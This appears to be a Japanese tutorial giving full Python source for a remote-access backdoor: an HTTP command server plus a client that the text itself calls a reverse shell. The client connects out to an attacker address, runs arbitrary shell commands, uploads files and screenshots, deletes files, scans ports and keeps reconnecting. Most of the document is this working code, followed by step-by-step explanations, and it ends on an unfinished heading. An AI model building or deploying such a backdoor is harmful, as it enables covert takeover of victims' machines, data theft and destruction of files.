import http.server
import os,cgi
localhost= '127.0.0.1' #ローカルIP非公開IP
port= 8081 #リスニングポート
class MyHandler(http.server.BaseHTTPRequestHandler):
global hostMachine #ホストマシン
hostMachine=0
def do_GET(self): #GETリクエスト処理
global hostMachine
if hostMachine==0:
hostMachine=1
print('ホストマシンがオンラインになりました')
command = input("<Potato>$ ")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode())
if command=='exit':
print('[Result] このホストはオフラインになりました')
hostMachine=0
print('\n')
def do_POST(self): #POSTリクエスト処理
if self.path == '/tmp':#ファイルデータ処理
try:
ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
if ctype == 'multipart/form-data':
fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
else:
print('[Error] POSTデータ形式エラー')
fs_data = fs['file'].file.read()
fs_name = fs['name'].file.read().decode('gbk')
with open('/s-'+fs_name, 'wb') as o:
print('[Information] 取得中 ........')
o.write(fs_data)
print('[Result] /s-'+fs_nameに保存されました')
self.send_response(200)
self.end_headers()
print('\n')
except Exception as e:
print(e)
return
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-length'])
postVar = self.rfile.read(length)
print(postVar.decode('gbk','ignore'))
if __name__ == "__main__":
httpd = http.server.HTTPServer((localhost, port), MyHandler) #簡易HTTPサーバーを構築
try:
httpd.serve_forever()
except KeyboardInterrupt:
print('\n'+'[Error] サーバーがシャットダウンしました')サーバー
サーバー側のコードは、GET および POST リクエストを処理できるシンプルな HTTP サーバーを実装しています。このサーバーは、リモートユーザーが GET リクエストを介してコマンドを送信し、応答を受け取ることを可能にし、POST リクエストを介してファイルをアップロードすることもできます。
以下は、コードの詳細な説明です:
モジュールのインポートとリスニングアドレスおよびポートの設定:
必要なモジュール http.server、os、cgi をインポートしました。
ローカル IP アドレス localhost とリスニングポート port を定義しました。
カスタムリクエスト処理クラス MyHandler の作成:
MyHandler クラスは http.server.BaseHTTPRequestHandler を継承し、HTTP リクエストを処理します。
MyHandler クラス内で、ホストのオンライン状態を示すためのグローバル変数 hostMachine を定義しました。
GET リクエストの処理(do_GET メソッド):
GET リクエストを受信すると、サーバーはユーザーにコマンドの入力を促し、標準入力(input)を介してコマンドを取得します。
ホストが以前にオフライン状態であった場合、オンライン状態にマークし、メッセージを印刷します。
受信したコマンドは HTTP 応答の形式でクライアントに送信され、ステータスコードは 200 です。
コマンドが「exit」の場合、オフラインメッセージを印刷し、ホストをオフライン状態にマークします。
POST リクエストの処理(do_POST メソッド):
リクエストパスが「/tmp」の場合、クライアントがファイルをアップロードしようとしていることを示します。
リクエストの Content-Type を確認し、「multipart/form-data」の場合は cgi.FieldStorage を使用してファイルアップロードを処理します。
アップロードされたファイルはサーバー上に保存され、ファイル名は「/s-」で始まり、クライアントにアップロード成功のメッセージを応答します。
例外が発生した場合は、エラーメッセージを印刷します。
メインプログラム部分:
if name == "main": 部分では、ローカル IP アドレスと指定されたポートにバインドされたシンプルな HTTP サーバーを作成しました。
http.server.HTTPServer を使用してサーバーオブジェクトを作成し、指定されたアドレスとポートをリスニングします。
サーバーは無限ループで実行され、クライアントリクエストを処理し、キーボード割り込み(Ctrl+C)がキャッチされるまでサーバーを閉じません。
import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket
def connect(attackerIp):
while True:
try:
req = requests.get(attackerIp)
command = req.text.strip() # サーバーからのコマンドを取得し、前後の空白を削除
# 以下はカスタム機能
if command == 'exit': # プログラムを終了
return 1
elif command.startswith('get'): # ファイルを取得
path = command.split(" ")[1]
if os.path.exists(path):
url = f'{attackerIp}/tmp'
files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
r = requests.post(url, files=files)
else:
r = requests.post(url=attackerIp, data='[Error] 指定されたファイルは存在しません'.encode('gbk'))
elif command == 'screenshot': # スクリーンショットを取得
try:
image = pyscreenshot.grab()
image.save("/kernel.png")
url = f'{attackerIp}/tmp'
files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
r = requests.post(url, files=files)
except Exception as e:
r = requests.post(url=attackerIp, data=str(e).encode('gbk'))
elif command.startswith('remove'): # ファイルを削除
filename = command.split(' ')[1]
if os.path.exists(filename):
os.remove(filename)
else:
r = requests.post(attackerIp, data="[Error] ファイルは存在しません".encode('gbk'))
elif command.startswith('scan'): # ポートスキャン
try:
scan_result = ''
if len(command.split(" ")) > 2:
scan, ip, port = command.split(" ")
else:
port = command.split(" ")[1]
ip = '127.0.0.1'
scan_result = '\n'
defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200] # デフォルトスキャンポート
port = defPort if port == 'default' else port.split(',') if ',' in port else [port]
for p in port:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(3)
result = sock.connect_ex((ip, int(p)))
if result == 0:
scan_result += f" [オープン] {p}\n"
except Exception:
pass
r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
except Exception:
r = requests.post(attackerIp, data="[Error] スキャンポートエラー".encode('gbk'))
elif command.startswith('cd'): # ディレクトリを変更
directory = command.split(' ')[1]
try:
os.chdir(directory)
r = requests.post(attackerIp,
data=f"[Result] ディレクトリを {os.getcwd()} に変更しました".encode('gbk'))
except Exception:
r = requests.post(attackerIp, data="[Error] ディレクトリを変更できません".encode('gbk'))
else: # ショートカットコマンドでない場合、コマンドを実行
try:
CMD = subprocess.run(command, shell=True, capture_output=True)
r = requests.post(url=attackerIp, data=CMD.stdout)
r = requests.post(url=attackerIp, data=CMD.stderr)
except Exception:
pass
except Exception as e:
pass
if __name__ == '__main__':
attackerIp = 'http://127.0.0.1:8081' # 攻撃者の公開IP:リスニングポート
while True:
try:
if connect(attackerIp) == 1:
break
except:
time.sleep(int(random.randrange(1, 10))) # 無接続時間間隔検出
クライアント側のこのコードは、リバースシェルを実装しており、バックドアプログラムでもあります。これは、攻撃者が指定した IP アドレスに継続的に接続し、攻撃者から送信されたコマンドを受信して対応する操作を実行します。
まず、コードは必要なライブラリをインポートします。requests は HTTP リクエストを送信するために使用され、os はファイルやディレクトリを操作するために使用され、time は遅延を設定するために使用され、random はランダム数を生成するために使用され、subprocess は外部コマンドを実行するために使用され、pyscreenshot はスクリーンショットを取得するために使用され、socket はポートスキャンのためにソケットを作成するために使用されます。
次に、connect 関数が定義され、この関数は接続とコマンド実行の操作を継続的にループします。ループ内部では、requests ライブラリを使用して HTTP GET リクエストを送信し、攻撃者から送信されたコマンドを取得し、コマンド文字列の両端の空白を削除します。その後、コマンドの内容に応じて対応する操作を実行します。
コマンドの解析ロジックは次のとおりです:
コマンドが exit の場合、プログラムを終了します。
コマンドが get で始まる場合、ファイルを取得することを示し、コマンドからパスを取り出し、ファイルが存在するかどうかを確認します。ファイルが存在する場合、requests ライブラリを使用して HTTP POST リクエストを送信し、ファイルを攻撃者に送信します。そうでない場合は、エラーメッセージを送信します。
コマンドが screenshot の場合、pyscreenshot ライブラリを使用してスクリーンショットを取得し、"/kernel.png" ファイルとして保存し、攻撃者に送信します。
コマンドが remove で始まる場合、ファイルを削除することを示し、コマンドからファイル名を取り出し、ファイルが存在するかどうかを確認します。ファイルが存在する場合、os.remove 関数を使用してファイルを削除し、そうでない場合はエラーメッセージを送信します。
コマンドが scan で始まる場合、ポートスキャンを実行します。コマンドには二つの形式があります:scan または scan default。コマンド内のパラメータに基づいてポートスキャンを実行し、オープンポート情報を攻撃者に送信します。
コマンドが cd で始まる場合、ディレクトリを変更することを示し、コマンドからディレクトリ名を取り出し、os.chdir 関数を使用してディレクトリを変更し、結果を攻撃者に送信します。
上記の条件がすべて満たされない場合、コマンドを subprocess.run 関数に渡して実行し、実行結果を攻撃者に送信します。
最後に、if name == 'main': 内で、攻撃者の IP アドレスとポートを定義し、connect 関数を呼び出して継続的に接続します。connect 関数の戻り値が 1 の場合、プログラムを終了します。接続に失敗した場合、time.sleep 関数を使用してランダムなスリープ時間を設定し、頻繁な接続を避けます。
サーバーがクライアントに CMD コマンドを実行させる: